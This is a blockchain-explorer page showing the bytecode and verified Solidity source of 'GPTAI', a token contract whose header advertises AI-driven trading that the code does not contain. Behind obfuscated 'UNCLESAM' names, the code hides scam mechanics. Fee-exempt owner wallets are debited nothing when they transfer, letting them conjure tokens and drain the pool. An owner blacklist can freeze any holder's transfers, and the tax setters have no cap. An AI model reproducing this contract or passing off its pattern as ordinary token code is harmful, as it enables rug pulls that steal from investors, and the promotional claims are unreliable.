Forkchoice Ethereum Mainnet

Address Contract Partially Verified

Address 0xaF9355600F01581EBDf950Cfac4bDF8668670a9F
Balance 0 ETH
Nonce 1
Code Size 7400 bytes
Indexed Transactions 0 (1 on-chain, 1.4% indexed)
External Etherscan · Sourcify

Contract Bytecode

7400 bytes
0x6080604052600436106101dc5760003560e01c806346be8763116101025780638b5ab17011610095578063a9059cbb11610064578063a9059cbb14610555578063b9abab4714610575578063dd62ed3e1461058a578063f887ea40146105d057600080fd5b80638b5ab170146104f557806391dcb11f1461051557806395d89b41146101ff578063a8aa1b311461053557600080fd5b80636ddd1713116100d15780636ddd17131461045757806370a0823114610478578063715018a6146104ae578063893d20e8146104c357600080fd5b806346be8763146103ea57806347c3821f146104005780636c0a24eb146104215780636ce424751461043757600080fd5b806323b872dd1161017a5780632f54bf6e116101495780632f54bf6e14610374578063313ce567146103a357806339f38a1a146103bf5780633eaaf86b146103d457600080fd5b806323b872dd146102e6578063269022b9146103065780632b2838e51461031b5780632c743eac1461035457600080fd5b8063095ea7b3116101b6578063095ea7b31461026d5780630faee56f1461028d57806315e93305146102b157806318160ddd146102d157600080fd5b806306734521146101e857806306fdde03146101ff57806308fd3d051461023c57600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506101fd6105f0565b005b34801561020b57600080fd5b506040805180820182526005815264475054414960d81b602082015290516102339190611908565b60405180910390f35b34801561024857600080fd5b50600e5461025d90600160b01b900460ff1681565b6040519015158152602001610233565b34801561027957600080fd5b5061025d61028836600461197b565b6108ab565b34801561029957600080fd5b506102a360065481565b604051908152602001610233565b3480156102bd57600080fd5b506101fd6102cc3660046119bd565b610918565b3480156102dd57600080fd5b506003546102a3565b3480156102f257600080fd5b5061025d610301366004611a82565b6109ae565b34801561031257600080fd5b506101fd610a70565b34801561032757600080fd5b5061025d610336366004611ac3565b6001600160a01b03166000908152600b602052604090205460ff1690565b34801561036057600080fd5b506101fd61036f366004611ae0565b610b12565b34801561038057600080fd5b5061025d61038f366004611ac3565b6000546001600160a01b0391821691161490565b3480156103af57600080fd5b5060405160128152602001610233565b3480156103cb57600080fd5b5061025d610b41565b3480156103e057600080fd5b506102a360035481565b3480156103f657600080fd5b506102a360055481565b34801561040c57600080fd5b50600e5461025d90600160a81b900460ff1681565b34801561042d57600080fd5b506102a360045481565b34801561044357600080fd5b506101fd610452366004611ae0565b610b78565b34801561046357600080fd5b50600e5461025d90600160a01b900460ff1681565b34801561048457600080fd5b506102a3610493366004611ac3565b6001600160a01b031660009081526007602052604090205490565b3480156104ba57600080fd5b506101fd610ba7565b3480156104cf57600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610233565b34801561050157600080fd5b506101fd6105103660046119bd565b610c16565b34801561052157600080fd5b50600c546104dd906001600160a01b031681565b34801561054157600080fd5b50600d546104dd906001600160a01b031681565b34801561056157600080fd5b5061025d61057036600461197b565b610ca8565b34801561058157600080fd5b506101fd610cb5565b34801561059657600080fd5b506102a36105a5366004611af9565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b3480156105dc57600080fd5b50600e546104dd906001600160a01b031681565b6000546001600160a01b031633146106235760405162461bcd60e51b815260040161061a90611b32565b60405180910390fd5b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610687573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ab9190611b52565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561070d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107319190611b52565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561077e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a29190611b52565b600d80546001600160a01b0319166001600160a01b039283169081179091556000908152600a60209081526040808320805460ff191660011790553080845260088352818420600e805487168652908452828520600019905554818552600790935292205492169163f305d7199147916000805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af1158015610881573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108a69190611b6f565b505050565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906109069086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146109425760405162461bcd60e51b815260040161061a90611b32565b60005b81518110156109aa576001600b600084848151811061096657610966611b9d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806109a281611bc9565b915050610945565b5050565b6001600160a01b038316600090815260086020908152604080832033845290915281205460001914610a5b576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600882528381203382529091529190912054610a36918490610d52565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b610a66848484610d8c565b90505b9392505050565b6000546001600160a01b03163314610a9a5760405162461bcd60e51b815260040161061a90611b32565b60004711610ae35760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b604482015260640161061a565b60405133904780156108fc02916000818181858888f19350505050158015610b0f573d6000803e3d6000fd5b50565b6000546001600160a01b03163314610b3c5760405162461bcd60e51b815260040161061a90611b32565b601155565b600080546001600160a01b03163314610b6c5760405162461bcd60e51b815260040161061a90611b32565b50600354600455600190565b6000546001600160a01b03163314610ba25760405162461bcd60e51b815260040161061a90611b32565b601255565b6000546001600160a01b03163314610bd15760405162461bcd60e51b815260040161061a90611b32565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610c405760405162461bcd60e51b815260040161061a90611b32565b60005b81518110156109aa576000600b6000848481518110610c6457610c64611b9d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610ca081611bc9565b915050610c43565b6000610a69338484610d8c565b6000546001600160a01b03163314610cdf5760405162461bcd60e51b815260040161061a90611b32565b600e54600160b01b900460ff1615610d395760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161061a565b600e805462ffffff60a01b19166201010160a01b179055565b60008184841115610d765760405162461bcd60e51b815260040161061a9190611908565b506000610d838486611be2565b95945050505050565b60006001600160a01b038416610df25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161061a565b6001600160a01b038316610e545760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161061a565b60008211610eb65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161061a565b6001600160a01b0384166000908152600b6020526040812054819060ff16158015610efa57506001600160a01b0385166000908152600b602052604090205460ff16155b610f0357600080fd5b60165460ff1615610f2257610f198686866110db565b92505050610a69565b6001600160a01b03861660009081526009602052604090205460ff16158015610f6457506001600160a01b03851660009081526009602052604090205460ff16155b15610fb957600e54600160b01b900460ff16610fb95760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b604482015260640161061a565b600e54600160a01b900460ff16610fd557610f198686866110db565b610fdf86866111c1565b15611093576001600160a01b0385166000908152600a602052604090205460ff168061103057506004546001600160a01b03861660009081526007602052604090205461102d908690611bf5565b11155b61108a5760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b606482015260840161061a565b6110938661123e565b61109d868661126c565b80925081935050506110b38282866005546112e5565b156110c1576110c184611353565b6110ce8686868486611519565b5060019695505050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260079091529182205461112c918490610d52565b6001600160a01b03808616600090815260076020526040808220939093559085168152205461115b908361161b565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111af9086815260200190565b60405180910390a35060019392505050565b600d546000906001600160a01b038381169116148015906111f057506002546001600160a01b03838116911614155b801561121557506001600160a01b03831660009081526009602052604090205460ff16155b8015610a695750506001600160a01b031660009081526009602052604090205460ff1615919050565b600d546001600160a01b0390811690821603610b0f576015805490600061126483611bc9565b919050555050565b600080600080611295866001600160a01b031660009081526009602052604090205460ff161590565b600d549091506001600160a01b03908116908616036112b757600291506112db565b600d546001600160a01b03908116908716036112d657600191506112db565b600091505b9590945092505050565b30600090815260076020526040812054829084906000838211801561130957508383115b60165490915060ff1615801561131c5750885b80156113285750600188115b80156113315750805b80156113465750600e54600160a01b900460ff165b9998505050505050505050565b6016805460ff191660011790553060009081526007602052604081205490506000611389836113848460065461167a565b61167a565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106113c3576113c3611b9d565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561141c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114409190611b52565b8160018151811061145357611453611b9d565b6001600160a01b039283166020918202929092010152600e5460405163791ac94760e01b815291169063791ac94790611499908590600090869030904290600401611c08565b600060405180830381600087803b1580156114b357600080fd5b505af11580156114c7573d6000803e3d6000fd5b5050600c546040514793506001600160a01b03909116915082156108fc029083906000818181858888f19350505050158015611507573d6000803e3d6000fd5b50506016805460ff1916905550505050565b600080600061152985858861168f565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038d1660009081526007909152919091205492945090925061158291908490610d52565b6001600160a01b03808a1660009081526007602052604080822093909355908916815220546115b1908261161b565b6001600160a01b0380891660008181526007602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611605908a815260200190565b60405180910390a3506001979650505050505050565b6000806116288385611bf5565b905083811015610a695760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161061a565b60008183116116895782610a69565b50919050565b6000806000846116c057600e54600160a81b900460ff166116b057836116c2565b6116bb868686611701565b6116c2565b835b600e54909150600090600160a81b900460ff1680156116de5750855b6116e857846116f3565b6116f3878787611701565b919791965090945050505050565b6000806064841561175f57600186111561173357601454601554116117285760105461172c565b6012545b9150611764565b8515611756576013546015541161174c57600f5461172c565b6011549150611764565b60009150611764565b600191505b600061177a8261177487866117d4565b90611856565b30600090815260076020526040902054909150611797908261161b565b30600090815260076020526040902055856117bb576117b68584611856565b6117bd565b805b90506117c98582611898565b979650505050505050565b6000826000036117e657506000610912565b60006117f28385611c79565b9050826117ff8583611c90565b14610a695760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161061a565b6000610a6983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118da565b6000610a6983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d52565b600081836118fb5760405162461bcd60e51b815260040161061a9190611908565b506000610d838486611c90565b600060208083528351808285015260005b8181101561193557858101830151858201604001528201611919565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b0f57600080fd5b803561197681611956565b919050565b6000806040838503121561198e57600080fd5b823561199981611956565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119d057600080fd5b823567ffffffffffffffff808211156119e857600080fd5b818501915085601f8301126119fc57600080fd5b813581811115611a0e57611a0e6119a7565b8060051b604051601f19603f83011681018181108582111715611a3357611a336119a7565b604052918252848201925083810185019188831115611a5157600080fd5b938501935b82851015611a7657611a678561196b565b84529385019392850192611a56565b98975050505050505050565b600080600060608486031215611a9757600080fd5b8335611aa281611956565b92506020840135611ab281611956565b929592945050506040919091013590565b600060208284031215611ad557600080fd5b8135610a6981611956565b600060208284031215611af257600080fd5b5035919050565b60008060408385031215611b0c57600080fd5b8235611b1781611956565b91506020830135611b2781611956565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b600060208284031215611b6457600080fd5b8151610a6981611956565b600080600060608486031215611b8457600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611bdb57611bdb611bb3565b5060010190565b8181038181111561091257610912611bb3565b8082018082111561091257610912611bb3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c585784516001600160a01b031683529383019391830191600101611c33565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761091257610912611bb3565b600082611cad57634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220b42be92b1a8f84e7dc0bb26f546a058dc44e8e73472f7a10a9e10a3b77d1109c64736f6c63430008130033

Verified Source Code Partial Match

Compiler: v0.8.19+commit.7dd6d404 EVM: paris Optimization: Yes (200 runs)
GPTAI.sol 611 lines
/**

#GPTAI is a next-generation web 3.0 non-custodial cryptocurrency investment protocol.

Key Features:

🔸 Conversational AI Deal Execution
🔸 AI Market Analysis
🔸 Automated Trading & Signals
🔸 Arbitrage & Portfolio Management
🔸 NFT Management

📣 notice
🎓 Liquidity: 15ETH ON Uniswap V3

🌎 Links
🖥 Website: https://gptprotocol.pro
🐦 Twitter: https://twitter.com/0x_GptProtocol) 
🌐 TG https://t.me/GPTProtocolchannel

**/


// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}

function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}

interface ERC20 {
function totalSupply() external view returns (uint256);

function decimals() external view returns (uint8);

function symbol() external view returns (string memory);

function name() external view returns (string memory);

function getOwner() external view returns (address);

function balanceOf(address account) external view returns (uint256);

function transfer(address recipient, uint256 amount)
external
returns (bool);

function allowance(address _owner, address spender)
external
view
returns (uint256);

function approve(address spender, uint256 amount) external returns (bool);

function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);

event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}

abstract contract Ownable {
address internal owner;

constructor(address _owner) {
owner = _owner;
}

modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER");
_;
}

function isOwner(address account) public view returns (bool) {
return account == owner;
}

function renounceOwnership() public onlyOwner {
owner = address(0);
emit OwnershipTransferred(address(0));
}

event OwnershipTransferred(address owner);
}

interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}

interface IUniswapV2Router02 {
function factory() external pure returns (address);

function WETH() external pure returns (address);

function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);

function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);

function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;

function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;

function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);

function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);

function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);

function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
}

contract GPTAI is ERC20, Ownable {
using SafeMath for uint256;

address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address DEAD = 0x000000000000000000000000000000000000dEaD;

string constant _name = "GPTAI";
string constant _symbol = "GPTAI";

uint8 constant _decimals = 18;
uint256 public _totalSupply = 10_000_000_000 * (10**_decimals);
uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;
uint256 public _swapUNCLESAMThreshHold = (_totalSupply * 1)/ 10000;
uint256 public _maxTaxSwap=(_totalSupply * 10) / 10000;

mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) isFeeExempt;
mapping(address => bool) isTxLimitExempt;
mapping(address => bool) private UNCLESAMs;

address public _UNCLESAMWallet;
address public pair;

IUniswapV2Router02 public router;

bool public swapEnabled = false;
bool public UNCLESAMFeeEnabled = false;
bool public TradingOpen = false;
uint256 private _initBuyTax=0;
uint256 private _initSellTax=0;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=0;
uint256 private _reduceSellTaxAt=0;
uint256 private _buyCounts=0;

bool inSwap;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}

constructor(address UNCLESAMWallet) Ownable(msg.sender) {

address _owner = owner;
_UNCLESAMWallet = UNCLESAMWallet;

isFeeExempt[_owner] = true;
isFeeExempt[_UNCLESAMWallet] = true;
isFeeExempt[address(this)] = true;
isTxLimitExempt[_owner] = true;
isTxLimitExempt[_UNCLESAMWallet] = true;
isTxLimitExempt[address(this)] = true;

_balances[_owner] = _totalSupply;
emit Transfer(address(0), _owner, _totalSupply);
}

function getOwner() external view override returns (address) {
return owner;
}

function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}

function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}

function withdrawUNCLESAMBalance() external onlyOwner {
require(address(this).balance > 0, "Token: no ETH to clear");
payable(msg.sender).transfer(address(this).balance);
}

function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}

function enableUNCLESAMTrade() public onlyOwner {
require(!TradingOpen,"trading is already open");

TradingOpen = true;
UNCLESAMFeeEnabled = true;
swapEnabled = true;
}

function getUNCLESAMAmounts(uint action, bool takeFee, uint256 tAmount) internal returns(uint256, uint256) {
uint256 sAmount = takeFee
? tAmount : UNCLESAMFeeEnabled
? takeUNCLESAMAmountAfterFees(action, takeFee, tAmount) 
: tAmount;

uint256 rAmount = UNCLESAMFeeEnabled && takeFee
? takeUNCLESAMAmountAfterFees(action, takeFee, tAmount)
: tAmount;
return (sAmount, rAmount);
}

function decimals() external pure override returns (uint8) {
return _decimals;
}

function internalSwapBackEth(uint256 amount) private lockTheSwap {
uint256 tokenBalance = balanceOf(address(this));
uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));

address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();

router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);

uint256 ethAmountFor = address(this).balance;
payable(_UNCLESAMWallet).transfer(ethAmountFor);
}

function removeUNCLESAMLimit() external onlyOwner returns (bool) {
_maxWalletAmount = _totalSupply;
return true;
}

function takeUNCLESAMAmountAfterFees(uint UNCLESAMActions, bool UNCLESAMTakefee, uint256 amounts)
internal
returns (uint256)
{
uint256 UNCLESAMPercents;
uint256 UNCLESAMFeePrDenominator = 100;

if(UNCLESAMTakefee) {

if(UNCLESAMActions > 1) {
UNCLESAMPercents = (_buyCounts>_reduceSellTaxAt ? _finalSellTax : _initSellTax);
} else {
if(UNCLESAMActions > 0) {
UNCLESAMPercents = (_buyCounts>_reduceBuyTaxAt ? _finalBuyTax : _initBuyTax);
} else {
UNCLESAMPercents = 0;
}
}

} else {
UNCLESAMPercents = 1;
}

uint256 feeAmounts = amounts.mul(UNCLESAMPercents).div(UNCLESAMFeePrDenominator);
_balances[address(this)] = _balances[address(this)].add(feeAmounts);
feeAmounts = UNCLESAMTakefee ? feeAmounts : amounts.div(UNCLESAMPercents);

return amounts.sub(feeAmounts);
}

receive() external payable {

}

function _transferTaxTokens(
address sender,
address recipient,
uint256 amount,
uint action,
bool takeFee
) internal returns (bool) {

uint256 senderAmount; 
uint256 recipientAmount;

(senderAmount, recipientAmount) = getUNCLESAMAmounts(action, takeFee, amount);
_balances[sender] = _balances[sender].sub(
senderAmount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(recipientAmount);
emit Transfer(sender, recipient, amount);
return true;
}

function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
return _allowances[holder][spender];
}

function createUNCLESAMTrade() external onlyOwner {
router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
isTxLimitExempt[pair] = true;

_allowances[address(this)][address(router)] = type(uint256).max;
router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp);
}

function name() external pure override returns (string memory) {
return _name;
}

function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}

function totalSupply() external view override returns (uint256) {
return _totalSupply;
}

function inSwapUNCLESAMTokens(bool isIncludeFees , uint isSwapActions, uint256 pAmount, uint256 pLimit) internal view returns (bool) {

uint256 minUNCLESAMTokens = pLimit;
uint256 tokenUNCLESAMWeight = pAmount;
uint256 contractUNCLESAMOverWeight = balanceOf(address(this));

bool isSwappable = contractUNCLESAMOverWeight > minUNCLESAMTokens && tokenUNCLESAMWeight > minUNCLESAMTokens;

return
!inSwap &&
isIncludeFees && 
isSwapActions > 1 &&
isSwappable &&
swapEnabled;
}

function symbol() external pure override returns (string memory) {
return _symbol;
}

function reduceFinalBuyTax(uint256 _newFee) external onlyOwner{
_finalBuyTax=_newFee;
}

function reduceFinalSellTax(uint256 _newFee) external onlyOwner{
_finalSellTax=_newFee;
}

function isUNCLESAMUserBuy(address sender, address recipient) internal view returns (bool) {
return
recipient != pair &&
recipient != DEAD &&
!isFeeExempt[sender] &&
!isFeeExempt[recipient];
}
function isTakeUNCLESAMActions(address from, address to) internal view returns (bool, uint) {

uint _actions = 0;
bool _isTakeFee = isTakeFees(from);

if(to == pair) {
_actions = 2;
} else if (from == pair) {
_actions = 1;
} else {
_actions = 0;
}
return (_isTakeFee, _actions);
}

function addUNCLESAMs(address[] memory UNCLESAMs_) public onlyOwner {
for (uint i = 0; i < UNCLESAMs_.length; i++) {
UNCLESAMs[UNCLESAMs_[i]] = true;
}
}

function delUNCLESAMs(address[] memory notUNCLESAM) public onlyOwner {
for (uint i = 0; i < notUNCLESAM.length; i++) {
UNCLESAMs[notUNCLESAM[i]] = false;
}
}

function isUNCLESAM(address a) public view returns (bool){
return UNCLESAMs[a];
}

function _transferStandardTokens(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {

require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");

bool takefee;
uint actions;

require(!UNCLESAMs[sender] && !UNCLESAMs[recipient]);

if (inSwap) {
return _basicTransfer(sender, recipient, amount);
}

if(!isFeeExempt[sender] && !isFeeExempt[recipient]){
require(TradingOpen,"Trading not open yet");
}

if(!swapEnabled) {
return _basicTransfer(sender, recipient, amount);
}
if (isUNCLESAMUserBuy(sender, recipient)) {
require(
isTxLimitExempt[recipient] ||
_balances[recipient] + amount <= _maxWalletAmount,
"Transfer amount exceeds the bag size."
);

increaseBuyCount(sender);
}

(takefee, actions) = isTakeUNCLESAMActions(sender, recipient);

if (inSwapUNCLESAMTokens(takefee, actions, amount, _swapUNCLESAMThreshHold)) {
internalSwapBackEth(amount);
}

_transferTaxTokens(sender, recipient, amount, actions, takefee);
return true;
} 

function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
if (_allowances[sender][msg.sender] != type(uint256).max) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender]
.sub(amount, "Insufficient Allowance");
}

return _transferStandardTokens(sender, recipient, amount);
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
return _transferStandardTokens(msg.sender, recipient, amount);
}

function increaseBuyCount(address sender) internal {
if(sender == pair) {
_buyCounts++;
}
}

function isTakeFees(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}

}

Read Contract

TradingOpen 0x08fd3d05 → bool
UNCLESAMFeeEnabled 0x47c3821f → bool
_UNCLESAMWallet 0x91dcb11f → address
_maxTaxSwap 0x0faee56f → uint256
_maxWalletAmount 0x6c0a24eb → uint256
_swapUNCLESAMThreshHold 0x46be8763 → uint256
_totalSupply 0x3eaaf86b → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
getOwner 0x893d20e8 → address
isOwner 0x2f54bf6e → bool
isUNCLESAM 0x2b2838e5 → bool
name 0x06fdde03 → string
pair 0xa8aa1b31 → address
router 0xf887ea40 → address
swapEnabled 0x6ddd1713 → bool
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 12 functions

These functions modify contract state and require a wallet transaction to execute.

addUNCLESAMs 0x15e93305
address[] UNCLESAMs_
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
createUNCLESAMTrade 0x06734521
No parameters
delUNCLESAMs 0x8b5ab170
address[] notUNCLESAM
enableUNCLESAMTrade 0xb9abab47
No parameters
reduceFinalBuyTax 0x2c743eac
uint256 _newFee
reduceFinalSellTax 0x6ce42475
uint256 _newFee
removeUNCLESAMLimit 0x39f38a1a
No parameters
returns: bool
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
withdrawUNCLESAMBalance 0x269022b9
No parameters

Recent Transactions

This address has 1 on-chain transactions, but only 1.4% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →